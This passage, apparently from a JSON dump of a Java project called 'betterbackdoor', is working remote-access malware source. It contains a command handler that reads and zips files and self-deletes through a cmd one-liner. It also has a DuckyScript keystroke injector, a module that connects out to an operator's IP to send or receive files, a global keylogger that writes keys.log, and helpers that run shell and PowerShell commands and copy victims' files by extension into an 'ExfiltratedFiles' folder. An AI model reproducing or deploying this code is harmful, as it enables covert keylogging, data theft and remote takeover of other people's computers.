(command.startsWith(\"cat\"))\r\n\t\t\ttry {\r\n\t\t\t\tScanner in = new Scanner(new File(command.substring(4)));\r\n\t\t\t\twhile (in.hasNextLine())\r\n\t\t\t\t\tsend.append(in.nextLine()).append(\"\\n\");\r\n\t\t\t\tin.close();\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when trying to get file\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t}\r\n\t\telse if (command.startsWith(\"zip\"))\r\n\t\t\ttry {\r\n\t\t\t\tFile dir = new File(command.substring(4));\r\n\t\t\t\tif (!dir.isDirectory())\r\n\t\t\t\t\tthrow new Exception(\"Not a directory\");\r\n\t\t\t\tUtils.zipDir(dir.getAbsolutePath());\r\n\t\t\t\tsend = new StringBuilder(\"Directory compressed to '\" + dir.getAbsolutePath() + \".zip'\");\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when compressing directory\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t}\r\n\t\telse if (command.startsWith(\"unzip\"))\r\n\t\t\ttry {\r\n\t\t\t\tString output = Utils.unzip(command.substring(6));\r\n\t\t\t\tsend = new StringBuilder(\"Contents of ZIP file decompressed to '\" + output + \"'\");\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when decompressing directory\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t}\r\n\t\telse if (command.equals(\"remove\"))\r\n\t\t\ttry {\r\n\t\t\t\tRuntime.getRuntime().exec(\"cmd /c ping localhost -n 5 > nul && cd \" + System.getProperty(\"user.dir\") + \" && del /f /q run.jar run.bat && rd /s /q \"\r\n\t\t\t\t\t\t+ Backdoor.gatheredDir + \" jre\");\r\n\t\t\t\tSystem.exit(0);\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tsend = new StringBuilder(\"An error occurred when trying to remove files\");\r\n\t\t\t\tif (e.getMessage() != null)\r\n\t\t\t\t\tsend.append(\":\\n\").append(e.getMessage());\r\n\t\t\t}\r\n\t\telse if (!command.isEmpty())\r\n\t\t\tsend = new StringBuilder(\"Command not found\");\r\n\r\n\t\tif (Backdoor.key != null)\r\n\t\t\tBackdoor.out.writeObject(Utils.encrypt(send.toString(), Backdoor.key));\r\n\t\telse\r\n\t\t\tBackdoor.out.writeObject(send.toString());\r\n\r\n\t\tBackdoor.out.flush();\r\n\t}\r\n\r\n\t/**\r\n\t * Waits for the socket file transfer to result in either a success or error.\r\n\t *\r\n\t * @throws Exception\r\n\t */\r\n\tprivate static void waitForSocketTransfer() throws Exception {\r\n\t\twhile (!FTP.socketTransferDone && FTP.error == null)\r\n\t\t\tThread.sleep(10);\r\n\t\tif (FTP.socketTransferDone)\r\n\t\t\tFTP.socketTransferDone = false;\r\n\t\tif (FTP.error != null) {\r\n\t\t\tString error = FTP.error;\r\n\t\t\tFTP.error = null;\r\n\t\t\tthrow new Exception(error);\r\n\t\t}\r\n\t}\r\n}"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/backend/DuckyScripts.java",
    "content": "package dev.thatcherclough.betterbackdoor.backend;\r\n\r\nimport java.awt.Robot;\r\nimport java.awt.event.KeyEvent;\r\nimport java.io.File;\r\nimport java.util.ArrayList;\r\nimport java.util.Scanner;\r\nimport java.util.stream.Collectors;\r\n\r\npublic class DuckyScripts {\r\n\r\n\tprivate static Robot robot;\r\n\tprivate static int defaultDelay;\r\n\tfinal private static ArrayList<Character> regKeys = (ArrayList<Character>) \"abcdefghijklmnopqrstuvwxyz`1234567890-=[]\\\\;',./ \"\r\n\t\t\t.chars().mapToObj((i) -> (char) i).collect(Collectors.toList());\r\n\tfinal private static ArrayList<Character> shiftKeys = (ArrayList<Character>) \"ABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+{}|:\\\"<>?\"\r\n\t\t\t.chars().mapToObj((i) -> (char) i).collect(Collectors.toList());\r\n\r\n\t/**\r\n\t * Runs a DuckyScript.\r\n\t * <p>\r\n\t * Cycles though lines from the file with the name {@code filename}. If\r\n\t * applicable, spaces at end of each line are removed and the line is passed to\r\n\t * {@link #handleLine} to handle and execute it.\r\n\t *\r\n\t * @param filename name of DuckyScript to execute\r\n\t * @return if DuckyScript was executed successfully\r\n\t */\r\n\tpublic static boolean run(String filename) {\r\n\t\tScanner in = null;\r\n\t\ttry {\r\n\t\t\trobot = new Robot();\r\n\t\t\tin = new Scanner(new File(filename));\r\n\t\t\twhile (in.hasNextLine()) {\r\n\t\t\t\tString line = in.nextLine();\r\n\t\t\t\twhile (line.endsWith(\" \"))\r\n\t\t\t\t\tline = line.substring(0, line.length() - 1);\r\n\t\t\t\tif (!line.isEmpty())\r\n\t\t\t\t\thandleLine(line);\r\n\t\t\t}\r\n\t\t\treturn true;\r\n\t\t} catch (Exception e) {\r\n\t\t\treturn false;\r\n\t\t} finally {\r\n\t\t\tif (in != null)\r\n\t\t\t\tin.close();\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Handles and executes DuckyScript line {@code line}.\r\n\t * <p>\r\n\t * {@code line} is split into {@code command} and {@code args} which are then\r\n\t * mutated to work with {@link java.awt.Robot} {@link #robot}.\r\n\t *\r\n\t * @param line line to handle and execute\r\n\t * @throws InterruptedException\r\n\t * @throws IllegalArgumentException\r\n\t * @throws IllegalAccessException\r\n\t * @throws NoSuchFieldException\r\n\t * @throws SecurityException\r\n\t */\r\n\tprivate static void handleLine(String line) throws InterruptedException, IllegalArgumentException,\r\n\t\t\tIllegalAccessException, NoSuchFieldException, SecurityException {\r\n\t\tString command = line;\r\n\t\tString args = \"\";\r\n\t\tif (line.contains(\" \")) {\r\n\t\t\tcommand = line.substring(0, line.indexOf(\" \"));\r\n\t\t\targs = line.substring(line.indexOf(\" \") + 1);\r\n\t\t}\r\n\r\n\t\tif (command.equals(\"GUI\"))\r\n\t\t\tcommand = \"WINDOWS\";\r\n\t\telse if (args.equals(\"GUI\"))\r\n\t\t\targs = \"WINDOWS\";\r\n\t\telse if (command.equals(\"PAGEUP\") || command.equals(\"PAGEDOWN\"))\r\n\t\t\tcommand = command.replace(\"PAGE\", \"PAGE_\");\r\n\t\telse if (args.equals(\"PAGEUP\") || args.equals(\"PAGEDOWN\"))\r\n\t\t\targs = args.replace(\"PAGE\", \"PAGE_\");\r\n\t\telse if (command.equals(\"UPARROW\") || command.equals(\"DOWNARROW\") || command.equals(\"LEFTARROW\")\r\n\t\t\t\t|| command.equals(\"RIGHTARROW\"))\r\n\t\t\tcommand = command.replace(\"ARROW\", \"\");\r\n\t\telse if (args.equals(\"UPARROW\") || args.equals(\"DOWNARROW\") || args.equals(\"LEFTARROW\")\r\n\t\t\t\t|| args.equals(\"RIGHTARROW\"))\r\n\t\t\targs = args.replace(\"ARROW\", \"\");\r\n\t\telse if (command.equals(\"MENU\") || command.equals(\"APP\")) {\r\n\t\t\tcommand = \"SHIFT\";\r\n\t\t\targs = \"F10\";\r\n\t\t} else if (command.equals(\"CTRL\"))\r\n\t\t\tcommand = \"CONTROL\";\r\n\t\telse if (command.equals(\"CAPSLOCK\"))\r\n\t\t\tcommand = \"CAPS_LOCK\";\r\n\t\telse if (command.equals(\"NUMLOCK\"))\r\n\t\t\tcommand = \"NUM_LOCK\";\r\n\t\telse if (command.equals(\"SCROLLLOCK\"))\r\n\t\t\tcommand = \"SCROLL_LOCK\";\r\n\t\telse if (args.equals(\"ESC\"))\r\n\t\t\targs = \"ESCAPE\";\r\n\t\telse if (args.equals(\"BREAK\"))\r\n\t\t\targs = \"PAUSE\";\r\n\r\n\t\tif (command.equals(\"DEFAULT_DELAY\") || command.equals(\"DEFAULTDELAY\"))\r\n\t\t\tdefaultDelay = Integer.parseInt(args);\r\n\t\telse if (command.equals(\"DELAY\"))\r\n\t\t\tThread.sleep(Integer.parseInt(args));\r\n\t\telse if (command.equals(\"STRING\")) {\r\n\t\t\ttype(args);\r\n\t\t} else if (command.equals(\"WINDOWS\") || command.equals(\"SHIFT\") || command.equals(\"CONTROL\")\r\n\t\t\t\t|| command.equals(\"ALT\")) {\r\n\t\t\trobot.keyPress(KeyEvent.class.getField(\"VK_\" + command).getInt(null));\r\n\t\t\tif (!args.isEmpty()) {\r\n\t\t\t\trobot.keyPress(KeyEvent.class.getField(\"VK_\" + args.toUpperCase()).getInt(null));\r\n\t\t\t\trobot.keyRelease(KeyEvent.class.getField(\"VK_\" + args.toUpperCase()).getInt(null));\r\n\t\t\t}\r\n\t\t\trobot.keyRelease(KeyEvent.class.getField(\"VK_\" + command).getInt(null));\r\n\t\t} else if (!line.startsWith(\"REM\")) {\r\n\t\t\trobot.keyPress(KeyEvent.class.getField(\"VK_\" + command).getInt(null));\r\n\t\t\trobot.keyRelease(KeyEvent.class.getField(\"VK_\" + command).getInt(null));\r\n\t\t}\r\n\t\tThread.sleep(defaultDelay);\r\n\t}\r\n\r\n\t/**\r\n\t * Uses {@link java.awt.Robot} {@link #robot} to simulate typing {@code toType}.\r\n\t *\r\n\t * @param toType String to type\r\n\t */\r\n\tprivate static void type(String toType) {\r\n\t\tfor (char c : toType.toCharArray())\r\n\t\t\tif (regKeys.contains(c)) {\r\n\t\t\t\trobot.keyPress(KeyEvent.getExtendedKeyCodeForChar(c));\r\n\t\t\t\trobot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c));\r\n\t\t\t} else {\r\n\t\t\t\trobot.keyPress(KeyEvent.VK_SHIFT);\r\n\t\t\t\trobot.keyPress(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));\r\n\t\t\t\trobot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));\r\n\t\t\t\trobot.keyRelease(KeyEvent.VK_SHIFT);\r\n\t\t\t}\r\n\t}\r\n}"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/backend/FTP.java",
    "content": "package dev.thatcherclough.betterbackdoor.backend;\r\n\r\nimport java.io.File;\r\nimport java.io.IOException;\r\nimport java.io.RandomAccessFile;\r\nimport java.net.InetSocketAddress;\r\nimport java.net.SocketAddress;\r\nimport java.nio.Buffer;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.FileChannel;\r\nimport java.nio.channels.ServerSocketChannel;\r\nimport java.nio.channels.SocketChannel;\r\n\r\npublic class FTP {\r\n\r\n\tpublic static boolean socketTransferDone = false;\r\n\tpublic static String error = null;\r\n\r\n\t/**\r\n\t * Transfers a file with client.\r\n\t * <p>\r\n\t * Opens {@link java.nio.channels.ServerSocketChannel}\r\n\t * {@code serverSocketChannel} and {@link java.nio.channels.SocketChannel}\r\n\t * {@code socketChannel} for transferring a file with client. If\r\n\t * {@code protocol} is \"send\", uses {@link #send} to send file with path\r\n\t * {@code filePath} to client. If {@code protocol} is \"rec\", uses {@link #rec}\r\n\t * to receive file with path {@code filePath} from client.\r\n\t *\r\n\t * @param filePath path of file to transfer\r\n\t * @param protocol if file should be sent or received\r\n\t */\r\n\tpublic static void shell(String filePath, String protocol) {\r\n\t\tThread thread = new Thread(() -> {\r\n\t\t\tServerSocketChannel serverSocketChannel = null;\r\n\t\t\tSocketChannel socketChannel = null;\r\n\t\t\ttry {\r\n\t\t\t\tserverSocketChannel = ServerSocketChannel.open();\r\n\t\t\t\tserverSocketChannel.socket().bind(new InetSocketAddress(1026));\r\n\t\t\t\tsocketChannel = serverSocketChannel.accept();\r\n\t\t\t\tif (protocol.equals(\"send\"))\r\n\t\t\t\t\tsend(filePath, socketChannel);\r\n\t\t\t\telse if (protocol.equals(\"rec\"))\r\n\t\t\t\t\trec(filePath, socketChannel);\r\n\t\t\t} catch (Exception ignored) {\r\n\t\t\t} finally {\r\n\t\t\t\ttry {\r\n\t\t\t\t\tif (serverSocketChannel != null)\r\n\t\t\t\t\t\tserverSocketChannel.close();\r\n\t\t\t\t\tif (socketChannel != null)\r\n\t\t\t\t\t\tsocketChannel.close();\r\n\t\t\t\t} catch (Exception ignored) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t\tthread.start();\r\n\t}\r\n\r\n\t/**\r\n\t * Transfers a file with server.\r\n\t * <p>\r\n\t * Opens {@link java.nio.channels.SocketChannel} {@code socketChannel} for\r\n\t * transferring file with server with an IP address of {@code ip}. If\r\n\t * {@code protocol} is \"send\", uses {@link #send} to send file with path\r\n\t * {@code filePath} to server. If {@code protocol} is \"rec\", uses {@link #rec}\r\n\t * to receive file with path {@code filePath} from server.\r\n\t *\r\n\t * @param filePath path of file to transfer\r\n\t * @param protocol if file should be sent or received\r\n\t * @param ip       IP address of server to transfer file with\r\n\t */\r\n\tpublic static void backdoor(String filePath, String protocol, String ip) {\r\n\t\tThread thread = new Thread(() -> {\r\n\t\t\tSocketChannel socketChannel = null;\r\n\t\t\ttry {\r\n\t\t\t\tThread.sleep(2000);\r\n\t\t\t\tsocketChannel = SocketChannel.open();\r\n\t\t\t\tSocketAddress socketAddress = new InetSocketAddress(ip, 1026);\r\n\t\t\t\tsocketChannel.connect(socketAddress);\r\n\t\t\t\tif (protocol.equals(\"send\"))\r\n\t\t\t\t\tsend(filePath, socketChannel);\r\n\t\t\t\telse if (protocol.equals(\"rec\"))\r\n\t\t\t\t\trec(filePath, socketChannel);\r\n\t\t\t\tsocketChannel.close();\r\n\t\t\t\tsocketTransferDone = true;\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\terror = e.getMessage();\r\n\t\t\t} finally {\r\n\t\t\t\ttry {\r\n\t\t\t\t\tif (socketChannel != null)\r\n\t\t\t\t\t\tsocketChannel.close();\r\n\t\t\t\t} catch (Exception ignored) {\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t\tthread.start();\r\n\t}\r\n\r\n\t/**\r\n\t * Sends file with path {@code filePath} using {@code socketChannel} and\r\n\t * {@code fileChannel}.\r\n\t *\r\n\t * @param filePath      path of file to send\r\n\t * @param socketChannel {@link java.nio.channels.SocketChannel} to use for\r\n\t *                      sending\r\n\t * @throws IOException\r\n\t */\r\n\tprivate static void send(String filePath, SocketChannel socketChannel) throws IOException {\r\n\t\tRandomAccessFile file = new RandomAccessFile(new File(filePath), \"r\");\r\n\t\tFileChannel fileChannel = file.getChannel();\r\n\t\tByteBuffer buffer = ByteBuffer.allocate(1024);\r\n\t\twhile (fileChannel.read(buffer) > 0) {\r\n\t\t\t((Buffer) buffer).flip();\r\n\t\t\tsocketChannel.write(buffer);\r\n\t\t\t((Buffer) buffer).clear();\r\n\t\t}\r\n\t\tfile.close();\r\n\t\tfileChannel.close();\r\n\t}\r\n\r\n\t/**\r\n\t * Receives file with path {@code filePath} using {@code socketChannel} and\r\n\t * {@code fileChannel}.\r\n\t *\r\n\t * @param filePath      path of file to receive\r\n\t * @param socketChannel {@link java.nio.channels.SocketChannel} to use for\r\n\t *                      receiving\r\n\t * @throws IOException\r\n\t */\r\n\tprivate static void rec(String filePath, SocketChannel socketChannel) throws IOException {\r\n\t\tRandomAccessFile file = new RandomAccessFile(filePath, \"rw\");\r\n\t\tFileChannel fileChannel = file.getChannel();\r\n\t\tByteBuffer buffer = ByteBuffer.allocate(1024);\r\n\t\twhile (socketChannel.read(buffer) > 0) {\r\n\t\t\t((Buffer) buffer).flip();\r\n\t\t\tfileChannel.write(buffer);\r\n\t\t\t((Buffer) buffer).clear();\r\n\t\t}\r\n\t\tfile.close();\r\n\t\tfileChannel.close();\r\n\t}\r\n}"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/backend/KeyLogger.java",
    "content": "package dev.thatcherclough.betterbackdoor.backend;\r\n\r\nimport java.io.BufferedWriter;\r\nimport java.io.File;\r\nimport java.io.FileWriter;\r\nimport java.io.PrintWriter;\r\n\r\nimport org.jnativehook.GlobalScreen;\r\nimport org.jnativehook.keyboard.NativeKeyEvent;\r\nimport org.jnativehook.keyboard.NativeKeyListener;\r\n\r\npublic class KeyLogger implements NativeKeyListener {\r\n\r\n\tprivate static PrintWriter out;\r\n\tprivate boolean shift = false;\r\n\r\n\t/**\r\n\t * Starts a key logger and logs keys to {@code dir}\\keys.log.\r\n\t *\r\n\t * @param dir directory to log keys to\r\n\t */\r\n\tpublic static void start(String dir) {\r\n\t\ttry {\r\n\t\t\tout = new PrintWriter(new BufferedWriter(new FileWriter(dir + File.separator + \"keys.log\", true)));\r\n\t\t\tGlobalScreen.registerNativeHook();\r\n\t\t\tGlobalScreen.addNativeKeyListener(new KeyLogger());\r\n\t\t} catch (Exception e) {\r\n\t\t\tif (out != null)\r\n\t\t\t\tout.close();\r\n\t\t}\r\n\t}\r\n\r\n\t/*\r\n\t * @see\r\n\t * org.jnativehook.keyboard.NativeKeyListener#nativeKeyPressed(org.jnativehook.\r\n\t * keyboard.NativeKeyEvent)\r\n\t */\r\n\t@Override\r\n\tpublic void nativeKeyPressed(NativeKeyEvent key) {\r\n\t\tString pressed = NativeKeyEvent.getKeyText(key.getKeyCode());\r\n\r\n\t\tif (pressed.equals(\"Shift\"))\r\n\t\t\tshift = true;\r\n\r\n\t\tif (key.isActionKey())\r\n\t\t\tout.print(\"[\" + pressed + \"]\");\r\n\t\telse if (pressed.equals(\"Backspace\"))\r\n\t\t\tout.print(\"[Back]\");\r\n\t\telse if (pressed.equals(\"Space\"))\r\n\t\t\tout.print(\" \");\r\n\t\telse if (pressed.equals(\"Tab\"))\r\n\t\t\tout.print(\"\\t\");\r\n\t\telse if (pressed.equals(\"Enter\"))\r\n\t\t\tout.println();\r\n\t\telse if (shift) {\r\n\t\t\tif (pressed.matches(\"[A-Z]\"))\r\n\t\t\t\tout.print(pressed);\r\n\t\t\telse if (pressed.equals(\"1\"))\r\n\t\t\t\tout.print(\"!\");\r\n\t\t\telse if (pressed.equals(\"2\"))\r\n\t\t\t\tout.print(\"@\");\r\n\t\t\telse if (pressed.equals(\"3\"))\r\n\t\t\t\tout.print(\"#\");\r\n\t\t\telse if (pressed.equals(\"4\"))\r\n\t\t\t\tout.print(\"$\");\r\n\t\t\telse if (pressed.equals(\"5\"))\r\n\t\t\t\tout.print(\"%\");\r\n\t\t\telse if (pressed.equals(\"6\"))\r\n\t\t\t\tout.print(\"^\");\r\n\t\t\telse if (pressed.equals(\"7\"))\r\n\t\t\t\tout.print(\"&\");\r\n\t\t\telse if (pressed.equals(\"8\"))\r\n\t\t\t\tout.print(\"*\");\r\n\t\t\telse if (pressed.equals(\"9\"))\r\n\t\t\t\tout.print(\"(\");\r\n\t\t\telse if (pressed.equals(\"0\"))\r\n\t\t\t\tout.print(\")\");\r\n\t\t\telse if (pressed.equals(\"Minus\"))\r\n\t\t\t\tout.print(\"_\");\r\n\t\t\telse if (pressed.equals(\"Equals\"))\r\n\t\t\t\tout.print(\"+\");\r\n\t\t\telse if (pressed.equals(\"Open Bracket\"))\r\n\t\t\t\tout.print(\"{\");\r\n\t\t\telse if (pressed.equals(\"Close Bracket\"))\r\n\t\t\t\tout.print(\"}\");\r\n\t\t\telse if (pressed.equals(\"Back Slash\"))\r\n\t\t\t\tout.print(\"|\");\r\n\t\t\telse if (pressed.equals(\"Semicolon\"))\r\n\t\t\t\tout.print(\":\");\r\n\t\t\telse if (pressed.equals(\"Quote\"))\r\n\t\t\t\tout.print(\"\\\"\");\r\n\t\t\telse if (pressed.equals(\"Comma\"))\r\n\t\t\t\tout.print(\"<\");\r\n\t\t\telse if (pressed.equals(\"Period\"))\r\n\t\t\t\tout.print(\">\");\r\n\t\t\telse if (pressed.equals(\"Dead Acute\"))\r\n\t\t\t\tout.print(\"?\");\r\n\t\t\telse if (pressed.equals(\"Back Quote\"))\r\n\t\t\t\tout.print(\"~\");\r\n\t\t} else {\r\n\t\t\tif (pressed.matches(\"[a-zA-Z0-9]\"))\r\n\t\t\t\tout.print(pressed.toLowerCase());\r\n\t\t\telse if (pressed.equals(\"Minus\"))\r\n\t\t\t\tout.print(\"-\");\r\n\t\t\telse if (pressed.equals(\"Equals\"))\r\n\t\t\t\tout.print(\"=\");\r\n\t\t\telse if (pressed.equals(\"Open Bracket\"))\r\n\t\t\t\tout.print(\"[\");\r\n\t\t\telse if (pressed.equals(\"Close Bracket\"))\r\n\t\t\t\tout.print(\"]\");\r\n\t\t\telse if (pressed.equals(\"Back Slash\"))\r\n\t\t\t\tout.print(\"\\\\\");\r\n\t\t\telse if (pressed.equals(\"Semicolon\"))\r\n\t\t\t\tout.print(\";\");\r\n\t\t\telse if (pressed.equals(\"Quote\"))\r\n\t\t\t\tout.print(\"'\");\r\n\t\t\telse if (pressed.equals(\"Comma\"))\r\n\t\t\t\tout.print(\",\");\r\n\t\t\telse if (pressed.equals(\"Period\"))\r\n\t\t\t\tout.print(\".\");\r\n\t\t\telse if (pressed.equals(\"Dead Acute\"))\r\n\t\t\t\tout.print(\"/\");\r\n\t\t\telse if (pressed.equals(\"Back Quote\"))\r\n\t\t\t\tout.print(\"`\");\r\n\t\t}\r\n\t\tout.flush();\r\n\t}\r\n\r\n\t/*\r\n\t * @see\r\n\t * org.jnativehook.keyboard.NativeKeyListener#nativeKeyReleased(org.jnativehook.\r\n\t * keyboard.NativeKeyEvent)\r\n\t */\r\n\t@Override\r\n\tpublic void nativeKeyReleased(NativeKeyEvent key) {\r\n\t\tif (NativeKeyEvent.getKeyText(key.getKeyCode()).equals(\"Shift\"))\r\n\t\t\tshift = false;\r\n\t}\r\n\r\n\t/*\r\n\t * @see\r\n\t * org.jnativehook.keyboard.NativeKeyListener#nativeKeyTyped(org.jnativehook.\r\n\t * keyboard.NativeKeyEvent)\r\n\t */\r\n\t@Override\r\n\tpublic void nativeKeyTyped(NativeKeyEvent key) {\r\n\t}\r\n}"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/backend/Utils.java",
    "content": "package dev.thatcherclough.betterbackdoor.backend;\r\n\r\nimport java.io.*;\r\nimport java.net.Inet4Address;\r\nimport java.net.InetAddress;\r\nimport java.net.NetworkInterface;\r\nimport java.net.URL;\r\nimport java.security.InvalidKeyException;\r\nimport java.security.NoSuchAlgorithmException;\r\nimport java.util.*;\r\nimport java.util.zip.ZipEntry;\r\nimport java.util.zip.ZipFile;\r\nimport java.util.zip.ZipOutputStream;\r\n\r\nimport dev.thatcherclough.betterbackdoor.backdoor.Backdoor;\r\n\r\nimport org.apache.commons.io.FileUtils;\r\nimport org.apache.commons.io.IOUtils;\r\n\r\nimport javax.crypto.*;\r\nimport javax.crypto.spec.SecretKeySpec;\r\n\r\npublic class Utils {\r\n\r\n\tpublic static String currentCMDDirectory = System.getProperty(\"user.dir\");\r\n\r\n\t/**\r\n\t * Runs command {@code command} in the current machine's command prompt and\r\n\t * returns response. If {@code dynamicWorkingDirectory} is set to true,\r\n\t * whenever the current directory changes, {@code currentCMDDirectory} is updated accordingly.\r\n\t *\r\n\t * @param command                 command to run\r\n\t * @param dynamicWorkingDirectory if {@code currentCMDDirectory} should be updated\r\n\t * @return response from running command\r\n\t */\r\n\tpublic static String runCommand(String command, boolean dynamicWorkingDirectory) {\r\n\t\tStringBuilder resp = new StringBuilder();\r\n\t\tBufferedReader bufferedReader = null;\r\n\t\ttry {\r\n\t\t\tProcessBuilder builder;\r\n\t\t\tif (dynamicWorkingDirectory) {\r\n\t\t\t\tbuilder = new ProcessBuilder(\"cmd.exe\", \"/c\", command + \" && echo current CMD path: && cd\");\r\n\t\t\t\tbuilder.directory(new File(currentCMDDirectory));\r\n\t\t\t} else\r\n\t\t\t\tbuilder = new ProcessBuilder(\"cmd.exe\", \"/c\", command);\r\n\t\t\tbuilder.redirectErrorStream(true);\r\n\t\t\tbufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream()));\r\n\t\t\twhile (true) {\r\n\t\t\t\tString line = bufferedReader.readLine();\r\n\t\t\t\tif (line == null) {\r\n\t\t\t\t\twhile (resp.toString().endsWith(\"\\n\"))\r\n\t\t\t\t\t\tresp = new StringBuilder(resp.substring(0, resp.length() - 1));\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tif (dynamicWorkingDirectory && line.startsWith(\"current CMD path:\"))\r\n\t\t\t\t\tcurrentCMDDirectory = bufferedReader.readLine();\r\n\t\t\t\telse\r\n\t\t\t\t\tresp.append(line).append(\"\\n\");\r\n\t\t\t}\r\n\t\t\tif (resp.toString().length() == 0)\r\n\t\t\t\treturn \"Command did not produce a response\";\r\n\t\t\telse\r\n\t\t\t\treturn resp.toString();\r\n\t\t} catch (Exception e) {\r\n\t\t\tresp = new StringBuilder(\"An error occurred when trying to run command\");\r\n\t\t\tif (e.getMessage() != null)\r\n\t\t\t\tresp.append(\":\\n\").append(e.getMessage());\r\n\t\t\treturn resp.toString();\r\n\t\t} finally {\r\n\t\t\ttry {\r\n\t\t\t\tif (bufferedReader != null)\r\n\t\t\t\t\tbufferedReader.close();\r\n\t\t\t} catch (Exception ignored) {\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Uses {@link #runCommand(String, boolean)} to run the PowerShell script with the name\r\n\t * {@code filename}.\r\n\t *\r\n\t * @param filename name of script to run\r\n\t * @return response from running script\r\n\t */\r\n\tpublic static String runPSScript(String filename) {\r\n\t\treturn runCommand(\"Powershell.exe -executionpolicy remotesigned -File \" + filename, false);\r\n\t}\r\n\r\n\t/**\r\n\t * Copies all files that have extensions in {@code exts} from {@code root} to\r\n\t * {@link Backdoor#gatheredDir}\\ExfiltratedFiles'.\r\n\t *\r\n\t * @param root directory to copy files from\r\n\t * @param exts list of extensions of files to copy\r\n\t * @throws IOException\r\n\t */\r\n\tpublic static void exfilFiles(String root, ArrayList<String> exts) throws IOException {\r\n\t\tnew File(Backdoor.gatheredDir + \"ExfiltratedFiles\").mkdir();\r\n\t\tfor (String ext : exts)\r\n\t\t\tfor (String file : new ArrayList<>(\r\n\t\t\t\t\tArrays.asList(Utils.runCommand(\"c: && cd \" + root + \" && dir/b/s/a:-d *.\" + ext, false).split(\"\\n\"))))\r\n\t\t\t\tif (!file.equals(\"File Not Found\"))\r\n\t\t\t\t\tFileUtils.copyFile(new File(file), new File(\r\n\t\t\t\t\t\t\tBackdoor.gatheredDir + \"ExfiltratedFiles\\\\\" + file.substring(file.lastIndexOf(\"\\\\\") + 1)));\r\n\t}\r\n\r\n\t/**\r\n\t * Compresses directory with name {@code dir} to zip file '{@code dir}.zip'.\r\n\t *\r\n\t * @param dir name of directory to compress\r\n\t * @throws IOException\r\n\t * @throws FileNotFoundException\r\n\t */\r\n\tpublic static void zipDir(String dir) throws IOException, FileNotFoundException {\r\n\t\tFile dirAsFile = new File(dir);\r\n\t\tZipOutputStream zipFile = new ZipOutputStream(new FileOutputStream(dirAsFile.getAbsolutePath() + \".zip\"));\r\n\t\tdirToZip(dirAsFile, dirAsFile.getAbsolutePath(), zipFile);\r\n\t\tIOUtils.closeQuietly(zipFile);\r\n\t}\r\n\r\n\t/**\r\n\t * Recursively adds the contents of directory {@code rootDir} to the\r\n\t * ZipOutputStream {@code out}.\r\n\t *\r\n\t * @param rootDir   root directory\r\n\t * @param sourceDir source directory\r\n\t * @param out       ZipOutputStream\r\n\t * @throws IOException\r\n\t * @throws FileNotFoundException\r\n\t */\r\n\tprivate static void dirToZip(File rootDir, String sourceDir, ZipOutputStream out)\r\n\t\t\tthrows IOException, FileNotFoundException {\r\n\t\tfor (File file : Objects.requireNonNull(new File(sourceDir).listFiles())) {\r\n\t\t\tString fileName = file.getName();\r\n\t\t\tif (file.isDirectory())\r\n\t\t\t\tdirToZip(rootDir, sourceDir + File.separator + fileName, out);\r\n\t\t\telse {\r\n\t\t\t\tZipEntry entry = new ZipEntry(\r\n\t\t\t\t\t\tsourceDir.replace(rootDir.getParent() + File.separator, \"\") + \"/\" + fileName);\r\n\t\t\t\tout.putNextEntry(entry);\r\n\r\n\t\t\t\tFileInputStream in = new FileInputStream(sourceDir + \"/\" + fileName);\r\n\t\t\t\tIOUtils.copy(in, out);\r\n\t\t\t\tIOUtils.closeQuietly(in);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Decompresses zip file with name {@code zipFileName}.\r\n\t *\r\n\t * @param zipFileName name of zip file to decompress\r\n\t * @return directory where contents of zip file with name {@code zipFileName}\r\n\t * were copied\r\n\t * @throws IOException\r\n\t */\r\n\tpublic static String unzip(String zipFileName) throws IOException {\r\n\t\tZipFile zipFile = new ZipFile(zipFileName);\r\n\t\tString outputDir = new File(zipFileName).getParentFile().getAbsolutePath();\r\n\t\tEnumeration<? extends ZipEntry> entries = zipFile.entries();\r\n\t\twhile (entries.hasMoreElements()) {\r\n\t\t\tZipEntry entry = entries.nextElement();\r\n\t\t\tFile entryDestination = new File(outputDir, entry.getName());\r\n\t\t\tif (entry.isDirectory())\r\n\t\t\t\tentryDestination.mkdirs();\r\n\t\t\telse {\r\n\t\t\t\tentryDestination.getParentFile().mkdirs();\r\n\t\t\t\ttry (InputStream in = zipFile.getInputStream(entry);\r\n\t\t\t\t     OutputStream out = new FileOutputStream(entryDestination)) {\r\n\t\t\t\t\tIOUtils.copy(in, out);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tzipFile.close();\r\n\t\treturn outputDir;\r\n\t}\r\n\r\n\t/**\r\n\t * If {@code ipType} is \"internal\", returns the internal IP address of the\r\n\t * current machine. Otherwise, if {@code ipType} is \"external\", returns the\r\n\t * external IP address of the 